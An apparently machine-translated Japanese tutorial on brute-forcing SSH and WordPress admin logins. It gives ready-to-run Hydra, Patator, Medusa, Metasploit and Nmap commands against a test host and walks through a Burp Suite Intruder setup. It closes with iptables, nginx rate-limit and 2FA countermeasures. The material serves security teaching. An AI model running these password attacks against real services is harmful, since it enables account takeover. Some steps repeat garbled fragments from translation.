
総当たり攻撃(総当たり攻撃)は、数学的な問題を解決する方法であり、その複雑さは、考えられるすべての解決策の数に依存します。 総当たり攻撃という用語は、通常、攻撃者がアカウントまたはサービスのユーザー名/パスワードを取得しようとするハッカー攻撃のコンテキストで使用されます。
Kali Linux(Patator、Medusa、Hydra、Metasploit)およびBurpSuiteで利用可能なSSHおよびWEBサービスでブルートフォース攻撃を実行するために使用できるツールを検討してください。
この記事で提供されるすべての資料は、教育目的でのみ使用することを目的としています。 違法および違法な素材の使用は禁止されています。
ブルートフォースssh
たとえば、テストマシン192.168.60.50を使用して、SSHでユーザーtestのパスワードを見つけようとします。 標準のrockyou.txt辞書にある一般的なパスワードを使用します。
パターター
Patatorを使用してパスワードを選択するには、次のコマンドを使用します。
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'
ここで:
ssh_login-必須モジュール
ホストは私たちの目標です
user-複数選択用のログインを持つパスワードまたはファイルが選択されるユーザーログイン
パスワード - パスワード付き辞書
-x ignore:mesg = 'Authentication failed'-このメッセージを含む行を表示しないコマンド。 フィルタリングパラメータは個別に選択されます。

ヒドラ
Hydraを使用してパスワードを選択するには、次のコマンドを実行します。
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
ここで:
-V-反復中にユーザー名とパスワードのペアを表示します
-f-指定されたログインのパスワードが見つかるとすぐに停止します
-P-パスワード付きの辞書へのパス
ssh://192.168.60.50-被害者のサービス表示とIPアドレス

メデューサ
Medusaを使用してパスワードを選択するには、次のコマンドを実行します。
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
ここで:
-h-被害者のIPアドレス
-u-ログイン
-P-辞書のパス
-M-モジュールの選択
-f-有効なユーザー名/パスワードのペアを見つけた後に停止します
-v-選択プロセス中の画面上のメッセージの表示の設定

メタスプロイト
SSHでブルートフォース攻撃を行うためのツールを検索します。
search ssh_login
を
search ssh_login
て答えを得ました:

モジュールを使用します。
use auxiliary/scanner/ssh/ssh_login
必要なパラメーターを表示するには、
show options
コマンドを使用し
show options
。 私たちにとっては:
rhosts-被害者のIPアドレス
rport-ポート
ユーザー名 -SSHログイン
userpass_file-辞書へのパス
stop_on_success-ユーザー名とパスワードのペアがあるとすぐに停止します
スレッド - スレッドの数

必要なパラメーターの表示は、「 set 」コマンドによって行われます。
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
必要なパラメーターを指定したら、「 run 」コマンドを入力して待機します。

対抗
ファイアウォールを使用して、確立された接続の数を制限します。 iptablesセットアップの例:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset
。
このようなルールは、各IPアドレスのSSHへのアクセスを1秒あたり1接続に制限し、検索を大幅に複雑にします。 また、効果的なソリューションは、2要素認証(たとえば、eTokenを使用)またはキーペアを使用した認証の使用、およびIPアドレスに基づくACLの使用です。
ブルートフォースワードプレス
別の例を見てみましょう-Webフォーム認証ウィンドウのパスワードを選択します。

たとえば、ワードプレスの管理者アカウントからパスワードを選択します。
バープスイート
まず、承認プロセスがどのように発生するかを理解する必要があります。 このために、BurpSuiteを使用します。 BurpSuiteを通過するリクエストを確認するには、パスワードとログインを使用してログインする必要があります。

素晴らしい、承認のためのPOSTリクエストがありました。それを処理します。
BODYは、どのログインとパスワードがチェックされたかを示します。これは、必要な値を自分で置き換えることを試みることができることを意味します。
この要求をIntruderに渡し、そこで攻撃に必要なパラメーターを選択します。 ペイロード位置では、攻撃タイプを狙撃兵のままにしますが、確認のためにpwdパラメーターのみを残します。 したがって、攻撃ではこのパラメータのみが変更されます。

必要な辞書をロードし、攻撃を開始します。

Webアプリケーションの動作から、誤ったパスワードが応答コード200を返すことがわかります。辞書を列挙した後、パスワードの1つがコード302で答えを出したことがわかります-それは正しいです。

このブルートフォースメソッドは、Patator、Hydra、Medusaなどを使用する場合よりもはるかに時間がかかります。 小さな辞書を取りましたが、BurpSuiteは約40分間辞書を繰り返し処理しました。
ヒドラ
Hydraを使用してパスワードを見つけましょう。
すでにわかっているように、認証が正しくない場合、コード200が返され、成功した場合、コードは302です。この情報を使用してみましょう。
開始するには、次のコマンドを使用します。
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
ここで、必須パラメーターを示します。
-l-ユーザー名
-P-パスワード付きの辞書
-t-スレッド数
http-post-form-フォームのタイプ。POSTがあります。
/wp-login.phpは認証ページのURLです
^ USER ^ -ユーザー名を置き換える場所を示します
^ PASS ^ -辞書のパスワードを置き換える場所を示します
S = 302 -Hydraに依存する回答の表示。 私たちの場合、承認は成功すると302です。

パターター
すでにわかっているように、認証に失敗するとコード200が返され、成功すると302が返されます。Hydraと同じ原理を使用します。
起動はコマンドによって実行されます
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz-総当たり攻撃のモジュール
url-許可されたページのアドレス
FILE0-パスワードを使用した辞書へのパス
body-許可中にPOST要求で送信される情報
-t-スレッド数
-x-この場合、コード200のパラメーターを含むメッセージ行を表示しないコマンドを指定しました
accept_cookie -Cookieパラメーターを保存し、次のリクエストに渡す
その結果、パスワードを見つけることができました。

Nmap
Nmapユーティリティを使用すると、 http-wordpress-bruteスクリプトを対応する引数とともに使用する場合、Web認証フォームのパスワードを選択できます。
--script-args-引数の追加
userまたはuserdb-ログインまたはログイン付きファイル
passまたはpassdb-パスワードまたは辞書を指定します
thread-スレッドの数
firstonly = true-最初の正しいパスワードの後に結果を表示します
nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

対抗
iptables(SSHに類似)とnginxを使用して、Webアプリケーションに対するブルートフォース攻撃を制限(複雑)します。 これを行うには、制限のゾーンを作成します。
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...
そしてそれを使用します:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}
このような設定により、1つのIPアドレスからの要求の数が1秒あたり40に制限されます。
列挙タスクを複雑にするために、次の方法を使用できます。
-ファイアウォールおよびその他のソフトウェアを使用して、保護されたサービスへの呼び出しの数を制限する。 機械学習を使用してこのような攻撃(分散型攻撃を含む)を検出する方法については、 記事をご覧ください 。
-キーの正確性の迅速な検証を妨げるツール(たとえば、Captcha)の使用。
おわりに
この記事では、いくつかの一般的なツールを表面的に調べました。 次のガイドラインに従うことで、パスワード推測のリスクを減らすことができます。
-パスワードに耐性のあるパスワードを使用します。
-個人情報を使用してパスワードを作成しないでください。例:生年月日または名前+生年月日または携帯電話。
-パスワードを定期的に変更します。
-すべてのアカウントで一意のパスワードを使用します。
このような推奨事項(および安全なWeb開発のための推奨事項)に従う人はほとんどいないため、次のことを可能にするさまざまなソフトウェアソリューションを使用する必要があります。
-IPアドレスで接続を制限します。これが不可能な場合は、サービスへの同時接続数を制限します(iptables、nginxなどを使用)。
-二要素認証を使用します。
-SIEM、 WAFなどを使用して、そのような攻撃を検出およびブロックします(たとえば、fail2ban)。